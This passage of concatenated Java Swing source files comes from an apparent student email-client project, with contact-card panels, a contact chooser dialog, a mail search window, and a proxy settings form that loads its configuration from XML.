jPanel_Nick.setBackground(resourceMap.getColor("jPanel_Nick.background")); // NOI18N
jPanel_Nick.setName("jPanel_Nick"); // NOI18N
jLabel_CongTy1.setText(resourceMap.getString("jLabel_CongTy1.text")); // NOI18N
jLabel_CongTy1.setName("jLabel_CongTy1"); // NOI18N
javax.swing.GroupLayout jPanel_NickLayout = new javax.swing.GroupLayout(jPanel_Nick);
jPanel_Nick.setLayout(jPanel_NickLayout);
jPanel_NickLayout.setHorizontalGroup(
jPanel_NickLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel_NickLayout.createSequentialGroup()
.addComponent(jLabel_CongTy1, javax.swing.GroupLayout.DEFAULT_SIZE, 41, Short.MAX_VALUE)
.addGap(184, 184, 184))
);
jPanel_NickLayout.setVerticalGroup(
jPanel_NickLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_CongTy1)
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jLabel_CongTy, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel_Ten))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jLabel_Email, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel_DienThoai, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel_DiaChi)))
.addContainerGap(174, Short.MAX_VALUE))
.addComponent(jPanel_Nick, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel_Nick, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_Ten)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_CongTy)
.addGap(26, 26, 26)
.addComponent(jLabel_DienThoai)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_Email)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_DiaChi)
.addContainerGap())
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JLabel jLabel_CongTy;
private javax.swing.JLabel jLabel_CongTy1;
private javax.swing.JLabel jLabel_DiaChi;
private javax.swing.JLabel jLabel_DienThoai;
private javax.swing.JLabel jLabel_Email;
private javax.swing.JLabel jLabel_Ten;
private javax.swing.JPanel jPanel_Nick;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JPanel_BusCard.java | Java | asf20 | 6,957 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JDialog_ChonContact.java
*
* Created on Jun 21, 2009, 2:51:35 PM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import java.util.ArrayList;
/**
*
* @author Administrator
*/
public class JDialog_ChonContact extends javax.swing.JDialog {
private String cacEmailDuocChon;
/** Creates new form JDialog_ChonContact */
public JDialog_ChonContact(java.awt.Frame parent, boolean modal) {
super(parent, modal);
initComponents();
jTable_HienThiContact1.refreshBang();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
jTable_HienThiContact1 = new doanlythuyet_javaoutlook.MyUserControl.jTable_HienThiContact();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTable_HienThiContact1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jTable_HienThiContact1.setName("jTable_HienThiContact1"); // NOI18N
jScrollPane1.setViewportView(jTable_HienThiContact1);
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JDialog_ChonContact.class);
jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
jButton1.setName("jButton1"); // NOI18N
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText(resourceMap.getString("jButton2.text")); // NOI18N
jButton2.setName("jButton2"); // NOI18N
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jButton1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton2))
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 733, Short.MAX_VALUE)))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 231, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton2)
.addComponent(jButton1))
.addGap(40, 40, 40))
);
pack();
}// </editor-fold>//GEN-END:initComponents
public ArrayList<String> LayCacEMailDuocChon (){
ArrayList<String> Kq = new ArrayList<String>();
for (int i = 0; i < jTable_HienThiContact1.getRowCount(); i++)
if (jTable_HienThiContact1.getValueAt(i, 0) != null && (Boolean)jTable_HienThiContact1.getValueAt(i, 0)
&& jTable_HienThiContact1.getValueAt(i, 3) != null)
Kq.add(jTable_HienThiContact1.getValueAt(i, 3).toString());
return Kq;
}
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
ArrayList<String> cacEmail = LayCacEMailDuocChon();
cacEmailDuocChon = "";
for (int i = 0; i < cacEmail.size(); i++){
cacEmailDuocChon += cacEmail.get(i) + ",";
}
setVisible(false);
}//GEN-LAST:event_jButton1ActionPerformed
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
// TODO add your handling code here:
setVisible(false);
}//GEN-LAST:event_jButton2ActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
JDialog_ChonContact dialog = new JDialog_ChonContact(new javax.swing.JFrame(), true);
dialog.addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent e) {
System.exit(0);
}
});
dialog.setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JScrollPane jScrollPane1;
private doanlythuyet_javaoutlook.MyUserControl.jTable_HienThiContact jTable_HienThiContact1;
// End of variables declaration//GEN-END:variables
/**
* @return the cacEmailDuocChon
*/
public String getCacEmailDuocChon() {
return cacEmailDuocChon;
}
/**
* @param cacEmailDuocChon the cacEmailDuocChon to set
*/
public void setCacEmailDuocChon(String cacEmailDuocChon) {
this.cacEmailDuocChon = cacEmailDuocChon;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JDialog_ChonContact.java | Java | asf20 | 6,859 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JPanel_BusCard.java
*
* Created on Jun 21, 2009, 9:55:56 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyContactBUS;
import DTO.MyContactDTO;
import java.io.IOException;
import java.sql.SQLException;
/**
*
* @author Administrator
*/
public class JPanel_AddCard extends javax.swing.JPanel {
/** Creates new form JPanel_BusCard */
public JPanel_AddCard() {
initComponents();
}
public void HienThiThongTin(int i) throws SQLException, IOException {
MyContactDTO contactDTO = new MyContactBUS().layTatCaContactBangID(i);
jLabel_Email.setText(contactDTO.getM_Email());
jLabel_DienThoai.setText(contactDTO.getM_DiaChi());
jLabel_CongTy1.setText(contactDTO.getM_NickName());
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel_Email = new javax.swing.JLabel();
jLabel_DienThoai = new javax.swing.JLabel();
jPanel_Nick = new javax.swing.JPanel();
jLabel_CongTy1 = new javax.swing.JLabel();
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JPanel_AddCard.class);
setBackground(resourceMap.getColor("Form.background")); // NOI18N
setBorder(new javax.swing.border.LineBorder(resourceMap.getColor("Form.border.lineColor"), 3, true)); // NOI18N
setMaximumSize(new java.awt.Dimension(200, 75));
setName("Form"); // NOI18N
setPreferredSize(new java.awt.Dimension(200, 75));
jLabel_Email.setText(resourceMap.getString("jLabel_Email.text")); // NOI18N
jLabel_Email.setName("jLabel_Email"); // NOI18N
jLabel_DienThoai.setText(resourceMap.getString("jLabel_DienThoai.text")); // NOI18N
jLabel_DienThoai.setName("jLabel_DienThoai"); // NOI18N
jPanel_Nick.setBackground(resourceMap.getColor("jPanel_Nick.background")); // NOI18N
jPanel_Nick.setName("jPanel_Nick"); // NOI18N
jLabel_CongTy1.setText(resourceMap.getString("jLabel_CongTy1.text")); // NOI18N
jLabel_CongTy1.setName("jLabel_CongTy1"); // NOI18N
javax.swing.GroupLayout jPanel_NickLayout = new javax.swing.GroupLayout(jPanel_Nick);
jPanel_Nick.setLayout(jPanel_NickLayout);
jPanel_NickLayout.setHorizontalGroup(
jPanel_NickLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel_NickLayout.createSequentialGroup()
.addComponent(jLabel_CongTy1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGap(184, 184, 184))
);
jPanel_NickLayout.setVerticalGroup(
jPanel_NickLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_CongTy1)
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel_Nick, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jLabel_Email, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel_DienThoai))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel_Nick, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_DienThoai)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_Email))
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JLabel jLabel_CongTy1;
private javax.swing.JLabel jLabel_DienThoai;
private javax.swing.JLabel jLabel_Email;
private javax.swing.JPanel jPanel_Nick;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JPanel_AddCard.java | Java | asf20 | 5,052 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JFrame_TimMail.java
*
* Created on May 28, 2009, 8:22:00 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
/**
*
* @author Dang Thi Phuong Thao
*/
public class JFrame_TimMail extends javax.swing.JFrame {
/** Creates new form JFrame_TimMail */
public JFrame_TimMail() {
initComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel1 = new javax.swing.JLabel();
jComboBox_noichua = new javax.swing.JComboBox();
jLabel2 = new javax.swing.JLabel();
jComboBox_tieuchi = new javax.swing.JComboBox();
jScrollPane1 = new javax.swing.JScrollPane();
jTable_danhsachmail = new javax.swing.JTable();
jScrollPane2 = new javax.swing.JScrollPane();
jTextArea_noidung = new javax.swing.JTextArea();
jRadioButton_giongtatca = new javax.swing.JRadioButton();
jRadioButton_giongvaitu = new javax.swing.JRadioButton();
jButton_tim = new javax.swing.JButton();
jButton_xoaketqua = new javax.swing.JButton();
jButton_Mo = new javax.swing.JButton();
jButton_xoa = new javax.swing.JButton();
jButton_luu = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setName("Form"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JFrame_TimMail.class);
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jComboBox_noichua.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Inbox", "Deleted" }));
jComboBox_noichua.setName("jComboBox_noichua"); // NOI18N
jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jComboBox_tieuchi.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Chủ đề", "Người gởi", "Ngày", "Mức độ", "Tình trạng", " " }));
jComboBox_tieuchi.setName("jComboBox_tieuchi"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTable_danhsachmail.setBackground(resourceMap.getColor("jTable_danhsachmail.background")); // NOI18N
jTable_danhsachmail.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED));
jTable_danhsachmail.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null},
{null, null, null, null, null},
{null, null, null, null, null},
{null, null, null, null, null}
},
new String [] {
"Chủ đề", "Người gởi", "Ngày", "Mức độ", "Thư mục chứa"
}
) {
Class[] types = new Class [] {
java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
});
jTable_danhsachmail.setName("jTable_danhsachmail"); // NOI18N
jScrollPane1.setViewportView(jTable_danhsachmail);
jScrollPane2.setName("jScrollPane2"); // NOI18N
jTextArea_noidung.setColumns(20);
jTextArea_noidung.setRows(5);
jTextArea_noidung.setName("jTextArea_noidung"); // NOI18N
jScrollPane2.setViewportView(jTextArea_noidung);
jRadioButton_giongtatca.setText(resourceMap.getString("jRadioButton_giongtatca.text")); // NOI18N
jRadioButton_giongtatca.setName("jRadioButton_giongtatca"); // NOI18N
jRadioButton_giongvaitu.setText(resourceMap.getString("jRadioButton_giongvaitu.text")); // NOI18N
jRadioButton_giongvaitu.setName("jRadioButton_giongvaitu"); // NOI18N
jButton_tim.setText(resourceMap.getString("jButton_tim.text")); // NOI18N
jButton_tim.setName("jButton_tim"); // NOI18N
jButton_xoaketqua.setText(resourceMap.getString("jButton_xoaketqua.text")); // NOI18N
jButton_xoaketqua.setName("jButton_xoaketqua"); // NOI18N
jButton_Mo.setText(resourceMap.getString("jButton_Mo.text")); // NOI18N
jButton_Mo.setName("jButton_Mo"); // NOI18N
jButton_xoa.setText(resourceMap.getString("jButton_xoa.text")); // NOI18N
jButton_xoa.setName("jButton_xoa"); // NOI18N
jButton_luu.setText(resourceMap.getString("jButton_luu.text")); // NOI18N
jButton_luu.setName("jButton_luu"); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 619, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jComboBox_noichua, 0, 249, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jRadioButton_giongtatca)
.addGap(63, 63, 63)
.addComponent(jRadioButton_giongvaitu)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jButton_tim)
.addComponent(jLabel2))
.addGap(5, 5, 5)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jButton_xoaketqua)
.addComponent(jComboBox_tieuchi, javax.swing.GroupLayout.PREFERRED_SIZE, 192, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addComponent(jScrollPane2, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 619, Short.MAX_VALUE))
.addGap(31, 31, 31))
.addGroup(layout.createSequentialGroup()
.addGap(112, 112, 112)
.addComponent(jButton_Mo)
.addGap(66, 66, 66)
.addComponent(jButton_xoa)
.addGap(55, 55, 55)
.addComponent(jButton_luu)
.addContainerGap(277, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jComboBox_tieuchi, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jComboBox_noichua, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2))
.addGap(17, 17, 17)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jRadioButton_giongtatca)
.addComponent(jRadioButton_giongvaitu)
.addComponent(jButton_tim)
.addComponent(jButton_xoaketqua))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 107, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton_Mo)
.addComponent(jButton_luu)
.addComponent(jButton_xoa))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JFrame_TimMail().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton_Mo;
private javax.swing.JButton jButton_luu;
private javax.swing.JButton jButton_tim;
private javax.swing.JButton jButton_xoa;
private javax.swing.JButton jButton_xoaketqua;
private javax.swing.JComboBox jComboBox_noichua;
private javax.swing.JComboBox jComboBox_tieuchi;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JRadioButton jRadioButton_giongtatca;
private javax.swing.JRadioButton jRadioButton_giongvaitu;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable_danhsachmail;
private javax.swing.JTextArea jTextArea_noidung;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JFrame_TimMail.java | Java | asf20 | 11,135 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JFrame_CauHinhProxy.java
*
* Created on 18-06-2009, 10:04:02
*/
package doanlythuyet_javaoutlook.MyUserControl;
import java.io.File;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.xml.parsers.*;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.w3c.dom.*;
import org.xml.sax.SAXException;
/**
*
* @author ShineShiao
*/
public class JFrame_CauHinhProxy extends javax.swing.JFrame {
private String smtp_host;
private String pop3_host;
private String user ;
private String pass;
private String proxy ;
private String port ;
/** Creates new form JFrame_CauHinhProxy */
public JFrame_CauHinhProxy() {
initComponents();
String dataPath = new File(".").getAbsolutePath();
String strFileName = dataPath + "\\Database\\XML_Proxy.xml";
//String strFileName = "G:\\New Folder\\DoAnLyThuyet_JavaOutLook\\src\\Database\\XML_Proxy.xml";
try {
LayProxytuXML(strFileName);
} catch (SAXException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (ParserConfigurationException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
}
}
/**
* @return the smtp_host
*/
public String getSmtp_host() {
return smtp_host;
}
/**
* @param aSmtp_host the smtp_host to set
*/
public void setSmtp_host(String aSmtp_host) {
smtp_host = aSmtp_host;
}
/**
* @return the pop3_host
*/
public String getPop3_host() {
return pop3_host;
}
/**
* @param aPop3_host the pop3_host to set
*/
public void setPop3_host(String aPop3_host) {
pop3_host = aPop3_host;
}
/**
* @return the user
*/
public String getUser() {
return user;
}
/**
* @param aUser the user to set
*/
public void setUser(String aUser) {
user = aUser;
}
/**
* @return the pass
*/
public String getPass() {
return pass;
}
/**
* @param aPass the pass to set
*/
public void setPass(String aPass) {
pass = aPass;
}
/**
* @return the proxy
*/
public String getProxy() {
return proxy;
}
/**
* @param aProxy the proxy to set
*/
public void setProxy(String aProxy) {
proxy = aProxy;
}
/**
* @return the port
*/
public String getPort() {
return port;
}
/**
* @param aPort the port to set
*/
public void setPort(String aPort) {
port = aPort;
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel1 = new javax.swing.JLabel();
jTextField_smtphost = new javax.swing.JTextField();
jLabel2 = new javax.swing.JLabel();
jTextField_pop3host = new javax.swing.JTextField();
jLabel3 = new javax.swing.JLabel();
jTextField_username = new javax.swing.JTextField();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jTextField_Proxy = new javax.swing.JTextField();
jLabel6 = new javax.swing.JLabel();
jTextField_Port = new javax.swing.JTextField();
jPanel2 = new javax.swing.JPanel();
jPanel1 = new javax.swing.JPanel();
jSeparator1 = new javax.swing.JSeparator();
jSeparator2 = new javax.swing.JSeparator();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jLabel7 = new javax.swing.JLabel();
jTextField_password = new javax.swing.JPasswordField();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JFrame_CauHinhProxy.class);
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jTextField_smtphost.setText(resourceMap.getString("jTextField_smtphost.text")); // NOI18N
jTextField_smtphost.setName("jTextField_smtphost"); // NOI18N
jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jTextField_pop3host.setText(resourceMap.getString("jTextField_pop3host.text")); // NOI18N
jTextField_pop3host.setName("jTextField_pop3host"); // NOI18N
jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
jLabel3.setName("jLabel3"); // NOI18N
jTextField_username.setText(resourceMap.getString("jTextField_username.text")); // NOI18N
jTextField_username.setName("jTextField_username"); // NOI18N
jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
jLabel4.setName("jLabel4"); // NOI18N
jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
jLabel5.setName("jLabel5"); // NOI18N
jTextField_Proxy.setText(resourceMap.getString("jTextField_Proxy.text")); // NOI18N
jTextField_Proxy.setName("jTextField_Proxy"); // NOI18N
jLabel6.setText(resourceMap.getString("jLabel6.text")); // NOI18N
jLabel6.setName("jLabel6"); // NOI18N
jTextField_Port.setText(resourceMap.getString("jTextField_Port.text")); // NOI18N
jTextField_Port.setName("jTextField_Port"); // NOI18N
jPanel2.setName("jPanel2"); // NOI18N
jPanel2.setLayout(new java.awt.BorderLayout());
jPanel1.setName("jPanel1"); // NOI18N
jPanel1.setLayout(new java.awt.CardLayout());
jSeparator1.setName("jSeparator1"); // NOI18N
jSeparator2.setName("jSeparator2"); // NOI18N
jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
jButton1.setName("jButton1"); // NOI18N
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText(resourceMap.getString("jButton2.text")); // NOI18N
jButton2.setName("jButton2"); // NOI18N
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jLabel7.setFont(resourceMap.getFont("jLabel7.font")); // NOI18N
jLabel7.setText(resourceMap.getString("jLabel7.text")); // NOI18N
jLabel7.setName("jLabel7"); // NOI18N
jTextField_password.setText(resourceMap.getString("jTextField_password.text")); // NOI18N
jTextField_password.setName("jTextField_password"); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
